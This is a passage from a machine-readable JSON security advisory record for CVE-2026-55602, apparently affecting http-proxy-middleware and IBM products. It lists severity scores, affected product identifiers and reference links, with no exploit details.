https://www.cve.org/CVERecord?id=CVE-2026-55602" }, { "category": "other", "text": "0.00378", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "6.9", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.2", "title": "NCSC Score" }, { "category": "other", "text": "There is product data available from source Certbundde", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, The value of the most recent CVSS (V3) score, There is cwe data available from source Nvd, Is related to a product by vendor Ibm", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-8477983", "CSAFPID-8485508", "CSAFPID-8485509", "CSAFPID-9485661", "CSAFPID-9485662", "CSAFPID-9485663", "CSAFPID-3777915", "CSAFPID-3777916", "CSAFPID-3777917", "CSAFPID-3777918", "CSAFPID-3777919", "CSAFPID-3777920", "CSAFPID-3777921", "CSAFPID-3777922", "CSAFPID-3777923", "CSAFPID-3777925", "CSAFPID-3777926", "CSAFPID-3777927", "CSAFPID-3777940", "CSAFPID-3777941", "CSAFPID-3777942", "CSAFPID-3777943", "CSAFPID-3777944", "CSAFPID-3777945", "CSAFPID-3777946", "CSAFPID-3777947", "CSAFPID-3777948", "CSAFPID-3777949", "CSAFPID-3777950", "CSAFPID-3777951", "CSAFPID-3777952", "CSAFPID-3777953", "CSAFPID-3777954", "CSAFPID-3777955", "CSAFPID-8785102", "CSAFPID-3777956", "CSAFPID-3777957", "CSAFPID-3777958", "CSAFPID-3777959", "CSAFPID-3777960", "CSAFPID-3777961", "CSAFPID-3777962", "CSAFPID-3777963", "CSAFPID-3777972", "CSAFPID-8785103", "CSAFPID-3777964", "CSAFPID-3777967", "CSAFPID-3777968", "CSAFPID-3777969", "CSAFPID-3777970", "CSAFPID-3777971", "CSAFPID-3777973", "CSAFPID-8785108", "CSAFPID-8785107", "CSAFPID-8785106", "CSAFPID-8785105", "CSAFPID-8785104" ] }, "references": [ { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-55602.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-64mm-vxmg-q3vj" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-55602" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-55602" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-55602" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3623.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-64mm-vxmg-q3vj.json?alt=media" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0431" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-64mm-vxmg-q3vj" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3623.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3623" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289775" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289776" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289778" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289779" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289780" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289783" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289785" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289788" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289789" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289790" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289792" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289794" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289795" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289796" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289797" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289798" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289800" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289787" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7289791" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55602.json" }, { "category": "external", "summary": "Reference - osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55602" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-3777915", "CSAFPID-3777916", "CSAFPID-3777917", "CSAFPID-3777918", "CSAFPID-3777919", "CSAFPID-3777920", "CSAFPID-3777921", "CSAFPID-3777922", "CSAFPID-3777923", "CSAFPID-3777925", "CSAFPID-3777926", "CSAFPID-3777927", "CSAFPID-3777940", "CSAFPID-3777941", "CSAFPID-3777942", "CSAFPID-3777943", "CSAFPID-3777944", "CSAFPID-3777945", "CSAFPID-3777946", "CSAFPID-3777947", "CSAFPID-3777948", "CSAFPID-3777949", "CSAFPID-3777950", "CSAFPID-3777951", "CSAFPID-3777952", "CSAFPID-3777953", "CSAFPID-3777954", "CSAFPID-3777955", "CSAFPID-3777956", "CSAFPID-3777957", "CSAFPID-3777958", "CSAFPID-3777959", "CSAFPID-3777960", "CSAFPID-3777961", "CSAFPID-3777962", "CSAFPID-3777963", "CSAFPID-3777964", "CSAFPID-3777967", "CSAFPID-3777968", "CSAFPID-3777969", "CSAFPID-3777970", "CSAFPID-3777971", "CSAFPID-3777972", "CSAFPID-3777973", "CSAFPID-8477983", "CSAFPID-8485508", "CSAFPID-8485509", "CSAFPID-8785102", "CSAFPID-8785103", "CSAFPID-8785104", "CSAFPID-8785105", "CSAFPID-8785106", "CSAFPID-8785107", "CSAFPID-8785108", "CSAFPID-9485661", "CSAFPID-9485662", "CSAFPID-9485663" ] } ], "title": "CVE-2026-55602" } ] }